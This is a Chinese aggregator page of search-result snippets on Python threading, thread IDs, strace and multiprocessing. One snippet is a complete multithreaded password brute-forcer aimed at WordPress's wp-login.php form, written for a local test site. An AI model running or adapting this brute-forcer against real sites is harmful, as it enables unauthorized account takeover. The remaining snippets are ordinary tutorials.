精华内容
下载资源
问答
  • ubuntu(linux)跟踪指定进程的线程执行状态的方法 新建一个用于测试的py文件,内容如下 # coding: utf-8 import threading import time import os import ctypes def func(arg): while True: time....

    ubuntu(linux)跟踪指定进程的线程执行状态的方法
    新建一个用于测试的py文件,内容如下

    
    # coding: utf-8
    import threading
    import time
    import os
    import ctypes
    def func(arg):
        while True:
            time.sleep(1)
            print('thread:{}, arg={}, pid={}, ppid={}'.format(threading.get_ident(), arg,os.getpid(),   ctypes.CDLL('libc.so.6').syscall(186)))
        return 0
    
    if __name__ == '__main__':
        threading.Thread(target=func, name='eat', args=(1,),daemon=True).start()
        threading.Thread(target=func, name='run', args=(2,),daemon=True).start()
    
        while True:
            time.sleep(1)
    
    
    

    1、首先使用ps -aux | grep “PROGRAM_WORD”命令去过滤你要查看的进程
    获取进程id,如下图:
    在这里插入图片描述

    2、使用 ps -T -p 27850
    在这里插入图片描述

    3、使用 strace -p 27851
    在这里插入图片描述

    注意:如果在docker中无法执行strace命令,则启动docker时增加–priveleged参数即可,例如:docker exec --priveleged -it CONTAINER_NAME bash

    另外,本文提供了使用python获取线程id的方法,使用ctypes加载C标准库,然后再通过系统调用获取线程id。

    展开全文
  • linux查看python线程id

    2020-06-23 18:06:55
    ps -ef | grep python

    ps -ef | grep python
     

    展开全文
  • #DEV/Python/Stu 进程 每一个应用程序在未执行的时候,只是一个二进制文件,当被执行的时候,操作系统就会创建一个该应用的活体,就是进程,只有进程才能执行具体的任务。一个进程包括二进制镜像文件、虚拟内存、...

    多线程编程

    #DEV/Python/Stu

    进程

    每一个应用程序在未执行的时候,只是一个二进制文件,当被执行的时候,操作系统就会创建一个该应用的活体,就是进程,只有进程才能执行具体的任务。一个进程包括二进制镜像文件、虚拟内存、需要访问的内核资源、安全等等,操作系统会为进程分配一个唯一的id。在mac或者Linux中可以使用top来查看进程信息。

    线程

    线程是程序运行的最小调度单元,线程包含在进程中,他包括虚拟处理器、栈、应用程序状态信息等。
    一个进程至少包含一个线程。多线程进程,理论上每个线程代表单独的任务,多个任务可以同时执行。

    Python代码的执行由Python虚拟机(解释器)来控制。Python在设计之初就考虑要在主循环中,同时只有一个线程在执行,就像单CPU的系统中运行多个进程那样,内存中可以存放多个程序,但任意时刻,只有一个程序在CPU中运行。同样地,虽然Python解释器可以运行多个线程,只有一个线程在解释器中运行。对Python虚拟机的访问由全局解释器锁(GIL)来控制,正是这个锁能保证同时只有一个线程在运行。在多线程环境中,Python虚拟机按照以下方式执行。
    
    1.设置GIL。
    2.切换到一个线程去执行。
    3.运行。
    4.把线程设置为睡眠状态。
    5.解锁GIL。
    6.再次重复以上步骤。
    
    对所有面向I/O的(会调用内建的操作系统C代码的)程序来说,GIL会在这个I/O调用之前被释放,以允许其他线程在这个线程等待I/O的时候运行。如果某线程并未使用很多I/O操作,它会在自己的时间片内一直占用处理器和GIL。也就是说,I/O密集型的Python程序比计算密集型的Python程序更能充分利用多线程的好处。
    
    

    线程编程

    Thread类

    import threading
    
    class SimpleCreator():
        def f(self):
            print('线程执行\n')
            return
        def __init__(self):
            return
            
        def creatThread(self):
            for i in range(3):
                t = threading.Thread(target=self.f)
                t.start()
        
    
    
    if __name__ == '__main__':
        sc = SimpleCreator()
        sc.creatThread()
    
    

    在这里插入图片描述

    传参数

    class SimpleCreator():
    	def f(self,id):
    		print("线程执行 %s \n" %id)
    	def __init__(self):
    		return
    	def creatThread(self):
    		for i in range(3):
    			t = threading.Thread(target=self.f,args=(i,))
    			t.start()
    

    [image:33B9E0D1-7CF0-49BA-BD8B-7F7A208F7F12-8141-000014844E61D8F9/E3270781-D83C-468C-A29A-E5A3CD05B80C.png]

    继承threading.Thread

    from threading import Thread
    
    
    class MyThread(Thread):
        def __init__(self, id):
            super(MyThread, self).__init__()  # 重构run函数必须要写
            self.id = id
    
        def run(self): #重写run方法
            print("task", self.id)
    
    #调用自定义类
    if __name__ == "__main__":
        t1 = MyThread("t1")
        t2 = MyThread("t2")
    
        t1.start()
        t2.start()
    
    

    [image:B56A9694-4A9E-4E15-AAF4-3BD36602C221-8141-000014BC26955671/AFBA2345-C6F5-4532-A2BA-79EFAED2667A.png]

    Identify

    每个线程默认都有唯一的标识符,可以通过Thread的getName方法获取到。

    from threading import Thread,currentThread
    
    
    class MyThread(Thread):
        def __init__(self, n):
            if n != "":
                super(MyThread, self).__init__(name=n)  # 重构run函数必须要写
            else:
                super(MyThread, self).__init__()  # 重构run函数必须要写
    
    
        def run(self):
            print("name:%s\n"  %self.getName())#获取名称
    
    
    if __name__ == "__main__":
        t1 = MyThread("")
        t2 = MyThread("t2")
    
        t1.start()
        t2.start()
        print(currentThread().getName())#获取当前线程的名字
    
    
    
    

    [image:83C4AE33-F2F2-4E55-A6C3-C49304AD55CA-8141-00001501691F4FFF/D1D86133-C11B-473E-BBC7-886C47E09B9A.png]

    setDaemon

    程序运行中,执行一个::主线程::,如果主线程又创建一个::子线程::,主线程和子线程就::分兵两路::,分别运行,那么当主线程完成想退出时,会校验子线程是否完成。如果子线程未完成,::则主线程会等待子线程完成后再退出::。但是有时候我们需要主线程完成了,不管子线程是否完成,都要和主线程::一起退出::,这时就可以用setDaemon方法了。
    主线程A中,创建了子线程B,并且在主线程A中调用了B.setDaemon(),这个的意思是,把主线程A设置为::守护线程::,这时候,要是主线程A执行结束了,就不管子线程B是否完成,一并和主线程A退出。要特别注意的:必须在start() 方法调用之前设置

    from threading import Thread
    import time
    class MyThread(Thread):
            def __init__(self):
                    super(MyThread, self).__init__()
            def run(self):
                    time.sleep(5)
                    print("我是子线程:" + self.getName())
     
    if __name__ == "__main__":
            t1=MyThread()
            t1.setDaemon(True)
            t1.start()
    print("我是主线程!")
    
    

    [image:391D8553-7BC3-44A9-A957-919DE3BF6EAE-8141-000015512AB86044/D6079CB2-45EF-4ACD-94CD-8E75E2F4F4BB.png]

    从上面的代码可以看出,子线程t1中的内容并未打出。t1.setDaemon(True)的操作,将父线程设置为了守护线程。根据setDaemon()方法的含义,父线程打印内容后便结束了,不管子线程是否执行完毕了。

    Join

    主线程A中,创建了子线程B,::并且在主线程A中调用了B.join()::,那么,主线程A会在::调用的地方等待::,::直到::子线程B::完成操作后::,才可以接着往下执行,那么在调用这个线程时可以使用被调用线程的join方法。

    import threading
    import time
    class MyThread(threading.Thread):
            def __init__(self,id):
                    super(MyThread, self).__init__()
                    self.id = id
            def run(self):
                    time.sleep(3)
                    print(self.id)
     
    if __name__ == "__main__":
            t1=MyThread(999)
            t1.start()
            for i in range(5):
                print(i)
    
    

    [image:981C00A5-D7D7-4316-B91D-73A621C2126A-8141-000015855D7EF537/BFBEE97C-450D-42FF-A2EB-3400D21BCB59.png]

    import threading
    import time
    class MyThread(threading.Thread):
            def __init__(self,id):
                    super(MyThread, self).__init__()
                    self.id = id
            def run(self):
                    time.sleep(3)
                    print(self.id)
     
    if __name__ == "__main__":
            t1=MyThread(999)
            t1.start()
            t1.join()#此处增加join调用
            for i in range(5):
                print(i)
    
    

    如上,我们修改启动线程的地方,start之后调用t1.join()。运行过程中,程序会先等待3秒,然后打印999,最后才执行循环打印,实现了�子线程调用和主线程的串行执行。
    [image:C587F1A1-7F8D-4722-99ED-00D4595F0DDD-8141-0000158A67BC0FEB/A12F4A1C-4CE5-4D8C-8991-4DE0DD8396C2.png]

    Timer

    import threading
    import time
    
    def hello():
        print("hello, Timer")
    
    if __name__ == '__main__':
        t = threading.Timer(3.0, hello)
        t.start()
        print("1")
        time.sleep(1)
        print("2")
        time.sleep(1)
        print("3")
        time.sleep(1)
        
    

    上面的代码中,我们调用hreading.Timer创建一个线程t,第一个参数3.0�代表start之后3秒钟,该线程才开始执行,第二个参数hello是该线下要调用的函数

    [image:BB70E113-5E37-4CE6-A2DA-C380E991B310-8141-000015C3891A974A/6A789267-3DF7-48BC-B01E-B84A78D6AF72.png]

    Lock

    由于线程之间是进行::随机调度::,当::多个线程::同时修改::同一条数据::时可能会::出现脏数据::,所以,出现了线程锁,::即同一时刻只允许一个线程执行操作::。线程锁用于锁定资源,你可以定义多个锁, 当你需要独占某一资源时,任何一个锁都可以锁这个资源,就好比你用不同的锁都可以把相同的一个门锁住是一个道理。

    import threading
    import time
    
    num = 0
    def run(n):
        lock.acquire()  #获取锁
        global num
        print('start:', num)
        num += 1
        print('end', num)
        lock.release()  #释放锁
    
    lock = threading.Lock()  # 实例化一个锁对象
    for i in range(20):
        t = threading.Thread(target=run, args=("t-%s" % i,))
        t.start()
        t.join()
    
    

    [image:C35B9C2B-8607-4997-8C89-3B1F65503C6A-8141-000015E646EF5F7E/1BBA85CE-2144-4B79-9694-CDD60C243DC3.png]

    展开全文
  • 搭建了一个本地wordpress,写一个基于多线程异步I/O的暴力破解 1 测试 提交错误的表单数据时,查看请求参数 登录时发送的cookie 2 登录分析 经过多次测试,发现无论是输入正确的密码还是错误的密码,这些登录需要...

    搭建了一个本地wordpress,写一个基于多线程异步I/O的暴力破解

    1 测试

    提交错误的表单数据时,查看请求参数

    1012348-20170223231913710-908103757.png

    登录时发送的cookie

    1012348-20170223231920726-586670220.png

    2 登录分析

    经过多次测试,发现无论是输入正确的密码还是错误的密码,这些登录需要提交的参数是不会改变的。并且只要登录成功,服务器一定会返回包含sessionid的cookie。整理后的发送参数如下:

    参数

    log:用户名
    pwd:密码
    wp-submit:Log In(定值)
    redirect_to:http://localhost/wordpress/wp-admin
    test_cookie:1(定值)

    wordpress_test_cookie:WP Cookie check(定值)

    3 思路分析

    口令集:
    暴力破解一般是使用口令字符的全部排列组合,所使用的口令集可使用itertool模块的笛卡尔积生成方法(product)来生成。当然这样计算开销比较大,适合口令长度比较小的情况。当然也可以使用字典,那么就可能需要结合用户信息定制字典。

    数据结构:
    使用队列来存储口令集是个很不错的选择,能够极大得降低数据读取的复杂性。

    模拟登陆:
    通过requests模块发送post请求,来模拟登陆,发送的参数与cookie依照上面的分析来发送即可。

    登陆:
    登陆失败,只是本地刷新,所以响应码200。登陆成功后,跳转到管理员后台,返回响应码302。

    优化破解性能:
    可使用异步I/O来进行破解过程的优化,待实现。

    4 源码

    # !/usr/bin/env python
    # -*- coding:utf-8 -*-
    import requests
    import sys
    import itertools
    import Queue
    import threading
    import time
    
    
    class Bruter(object):
        def __init__(self, user, characters, pwd_len, threads):
            self.user = user
            self.found = False # 存放破解结果,破解成功为True,失败为False
            self.threads = threads
            print '构建待测试口令队列中...'
            self.pwd_queue = Queue.Queue()
            for pwd in list(itertools.product(characters, repeat=pwd_len)):
                self.pwd_queue.put(''.join(pwd))
            self.result = None
            print '构建成功!'
    
        def brute(self):
            for i in range(self.threads):
                t = threading.Thread(target=self.__web_bruter)
                t.start()
                print '破解线程-->%s 启动' % t.ident
            while (not self.pwd_queue.empty()): # 剩余口令集判断
                sys.stdout.write('\r 进度: 还剩余%s个口令 (每1s刷新)' % self.pwd_queue.qsize())
                sys.stdout.flush()
                time.sleep(1)
                print '\n破解完毕'
    
        def __login(self, pwd):
            url = 'http://localhost/wordpress/wp-login.php'
            values = {'log': self.user, 'pwd': pwd, 'wp-submit': 'Log In',
                      'redirect_to': 'http://localhost/wordpress/wp-admin', 'test_cookie': '1'}
            my_cookie = {'wordpress_test_cookie': 'WP Cookie check'}
            r = requests.post(url, data=values, cookies=my_cookie, allow_redirects=False) # 禁用重定向,以便后边判断登陆状态
            if r.status_code == 302: # 登陆状态判断
                return True
            return False
    
        def __web_bruter(self): # 破解子线程函数
            while not self.pwd_queue.empty() and not self.found:
                pwd_test = self.pwd_queue.get()
                if self.__login(pwd_test):
                    self.found = True
                    self.result = pwd_test
                    print '破解 %s 成功,密码为: %s' % (self.user, pwd_test)
                else:
                    self.found = False
    
    
    if __name__ == '__main__':
        if len(sys.argv) != 5:
            print '用法 : cmd [用户名] [密码字符] [密码长度] [线程数]'
            exit(0)
        b = Bruter(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4]))
        b.brute()
        print b.result

    转载于:https://www.cnblogs.com/whatisfantasy/p/6436076.html

    展开全文
  • 之前因为线程内出现异常导致Python部分线程退出,程序以单线程方式运行了好几个星期,浪费了很多时间。 如何查看当前进程有多少个存活线程呢? 方法1)pstree -p 4761(进程ID)。如下截图所示:   ...
  • 首先需要说明的是 python threading的name跟ident,这些看起来是线程名字,线程id其实只是个标识,注意是标识而已. 简单过了下threading创建对象及启动线程的代码,发现ident跟pstree查到的线程id是两码事. 该文章...
  • 如何查看进程的线程数?

    千次阅读 2017-02-16 17:30:05
    之前因为线程内出现异常导致Python部分线程退出,程序以单线程方式运行了好几个星期,浪费了很多时间。 如何查看当前进程有多少个存活线程呢? 方法1)pstree -p 4761(进程ID)。如下截图所示:   ...
  • python中fork()函数

    2020-10-21 02:00:33
    python多线程中的fork()函数: 子线程id查看:可以用getpid()函数查看 子线程查看线程id:可以用getppid()函数查看
  • 之前因为线程内出现异常导致Python部分线程退出,程序以单线程方式运行了好几个星期,浪费了很多时间。 如何查看当前进程有多少个存活线程呢? 方法1)pstree -p 4761(进程ID)。如下截图所示: ...
  • Python 资源大全中文版 awesome-python 是 vinta 发起维护的 Python 资源列表,内容包括:Web 框架、网络爬虫、网络内容提取、模板引擎、数据库、数据可视化、图片处理、文本处理、自然语言处理、机器学习、日志、...
  • 本文实例讲述了Python实现的多进程拷贝文件并显示百分比功能。分享给大家供大家参考,具体如下: centos7下查看cup核数: # 总核数 = 物理CPU个数 X 每颗物理CPU的核数 # 总逻辑CPU数 = 物理CPU个数 X 每颗物理CPU的...
  • python之多进程

    2020-01-09 11:50:04
    多进程 一,什么是进程: 一个程序至少有一个进程,一个进程至少有一个...二,查看进程id(PID): 1,在代码中显示: os.getpid() #当前进程id os.getppid() #当前父进程id 2,终端中显示: ps -aux # 静态,不刷新...
  • python-redis-lock

    2020-12-11 14:31:49
    python-redis-lock使用方法导入包阻塞锁超时阻塞锁非阻塞锁释放锁查看锁是否已被占用使用上下文管理器 with锁 id日志工作原理redis 命令获取锁原理释放锁原理其他参考文档 python-redis-lock 是基于 redis SETNX和...
  • 尹成Python27天入门到项目实战

    千人学习 2020-12-05 17:04:22
    常量变量数据类型 常量与变量区别标识符关键字输入输出id求地址type求类型python变量是地址赋值可以改变类型python主要数据类型复数数据类型自适应变长整数intdel作用连续赋值交互对称赋值字符串转化与输入输出编程...
  • 列表[list]用中括号[]表示,处理一组有序项目的数据结构,列表的类型是可变的数据类型,类型是list 列表是可变/线程不安全的 # type(a) = list 利用type判断元素离线 # 切片是左闭右开[m,n)...#可以利用id查看列...
  • 本文实例讲述了Python实现的多进程拷贝文件并显示百分比功能。分享给大家供大家参考,具体如下: centos7下查看cup核数: # 总核数 = 物理CPU个数 X 每颗物理CPU的核数 # 总逻辑CPU数 = 物理CPU个数 X 每颗物理CPU...
  • python中多进程 一、概念 进程是os(操作系统)中概念,在某一程序任务组(启动时)由os分配的内存、进程控制状态块等相关资源,之后在进程中创建线程,来执行code. 一般情况下。京城由三部分组成:内存、程序code、...
  • 一、xgboost版本: xgboost.__version__:显示版本为0.82 二、查看线程参数: 从官方文档中可以看出,...通过查看该进程ps aux|grep python获得进程号id 然后通过top -Hp 进程号id,可以查看thread的数量; 实...
  • # 总逻辑CPU数 = 物理CPU个数 X 每颗物理CPU的核数 X 超线程数 # 查看物理CPU个数 cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l # 查看每个物理CPU中core的个数(即核数) cat /proc/c...
  • 内存管理与多线程

    2021-04-25 13:08:48
    使用 id() 访问内存地址 2、垃圾回收机制 以引用计数为主,分代收集为辅 引用计数: a、每个对象都有存有指向该对象的引用总数 b、查看某个对象的引用计数sys.getrefcount() c、可以使用del关键字删除某个引用 如果...
  • Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。7.2版本内置...
  • 因为uiautomator是独占资源,所以当atx运行的时候uiautomatorviewer是不能用的,为了减少atx频繁的启停,我们开发了基于浏览器技术的weditor UI查看器。https://github.com/openatx/weditor 安装方法(备注: 目前最新...
  • id() 函数:查看对象的内存地址; type()函数:查看对象的类型; isinstance()函数:判断对象类型; dir()函数:查看对象中的属性、方法等; len()函数:计算可迭代对象的长度; dir()函数:显示函数内置属性和方法...
  • ❄ 原生支持 C#/Java/Go/Rust/C/SQL 等语言,并提供 PHP 扩展及 Python、Node.js 多线程安全调用动态库(FFI)。 ❄ 兼容所有雪花算法(号段模式或经典模式,大厂或小厂),将来你可做任意的升级切换。(一般无须...

空空如也

空空如也

1 2 3
收藏数 58
精华内容 23
关键字:

python查看线程id

python 订阅